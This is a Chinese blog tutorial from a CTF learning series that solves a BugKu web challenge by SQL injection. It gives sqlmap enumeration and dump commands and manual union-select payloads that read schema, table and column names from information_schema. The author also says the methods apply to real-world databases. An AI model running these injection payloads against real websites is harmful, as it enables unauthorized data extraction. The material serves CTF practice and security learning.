CTF Web学习(四)----SQL注入

本文是CTF Web学习系列的第四篇,主要介绍SQL注入技术,包括使用sqlmap和手工注入方法。通过BugKu Web的几个实例,展示了如何测试注入点、查询数据库信息以及手工注入的基本流程。强调了手工注入的重要性,尤其是在面对真实场景时的灵活性。
摘要由CSDN通过智能技术生成

CTF Web学习(四)

SQL注入

CTF Web学习目录链接
CTF Web学习(一):基础篇及头文件修改、隐藏
CTF Web学习(二):代码审计、burp suite应用
CTF Web学习(三):python脚本的编写及应用
CTF Web学习(四):SQL注入


前言

SQL注入还是挺重要的,稍微了解一下的人,你懂的,这里就不在解释,注入的原理百度一下就知道了。而手工注入相比较sqlmap来说可能更为重要,目前主流的数据库,需要稍微了解一下,如:mysql的information_schema、sql server(MSSQL)的sysobjects等,需要用到的时候可以百度看一看。以下还是以bugku的题来测试SQL注入。


一、BugKu Web 成绩单

链接:http://123.206.87.240:8002/chengjidan/
在这里插入图片描述

解法一:sqlmap注入

1、burp suite截包,另存为1.txt,将1.txt放到sqlmap根目录下,方便调用。
在这里插入图片描述
sqlmap的具体用法,小白百度一下,有很多教程,这里就不详细说明了。一下为sqlmap一步步的流程及解释:

1、测试注入点:sqlmap -r 1.txt
2、取数据库名:sqlmap -r 1.txt --dbs
3、取对应数据库中的所有表:sqlmap -r 1.txt -D skctf_flag --tables
4、取对应表中的所有列:sqlmap -r 1.txt -D skctf_flag -T fl4g --columns
5、显示对应表中的数据:sqlmap -r 1.txt -D skctf_flag -T fl4g -C skctf_flag --dump

以上为sqlmap注入的常规操作,sqlmap也可以直接写sql查询语句,当然也可以增删改查。以查询为例:

1、查询所有数据库:sqlmap -r 1.txt --sql-query “select * from information_schema.schemata”
2、查询对应的数据库中的所有表:sqlmap -r 1.txt --sql-query “select * from information_schema.tables where table_schema=‘skctf_flag’”
3、查询表中数据:sqlmap -r 1.txt --sql-query “select * from fl4g”

以上为sqlmap最常用的两种注入获取数据的方法,看个人喜欢使用。我是喜欢用第二种,简单粗暴,在现实中用的比较多,因为第二种可以保持自己对数据库的理解,可引申手工注入,而第一种只是在用sqlmap,看看后面几道题,你就知道sqlmap不是万能的了。手工注入才是王道。

解法二:手工SQL注入

首先说说我对手工SQL注入的一些想法:其实很多刚刚接触SQL注入的萌新来说,对sqlmap情有独钟,认为是万能的,其实这种理解是错误的,因为你还没有在现实生活中真正去尝试过SQL注入,只是停留在网上给出的环境在测试,真正的数据库有很多,CTF题一般是mysql数据库,数据量也很少,你用sqlmap注入,感觉很快,但当你遇到真实的数据库和数据量,会让你崩溃。因此手工SQL注入才是王道,至少反应很快,灵活性很大。现在以此题详细的讲讲手工注入:

1、测试注入点

1、post传值id=1,2,3 发现页面返回值正常
2、测试注入类型,百度一大堆,可以看看。不管什么类型,都要保证返回值正常
在这里插入图片描述

2、判断页面表的列数及替换显示

1、有个技巧是数数页面改变的值有几个,此题是4个值在变,我们从4开始判断,一直加1判断到错误位置,就可以判断出表列为几。id=2' order by 4 #
2、替换数据显示。 id=2' union select 1,2,3,'我想显示的内容' #
在这里插入图片描述
在这里插入图片描述

3、查询当前数据库,或者全部数据库

这里查询所有数据库是为了防止flag在其他的数据库中。id=-2' union select 1,2,database(),group_concat(schema_name) from information_schema.schemata#
在这里插入图片描述

4、查询数据库中的表

id=-2' union select 1,2,database(),group_concat(table_name) from information_schema.tables where table_schema = 'skctf_flag'#
在这里插入图片描述

5、查表中列

id=-2' union select 1,2,database(),group_concat(column_name) from information_schema.columns where table_name = 'fl4g'#

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值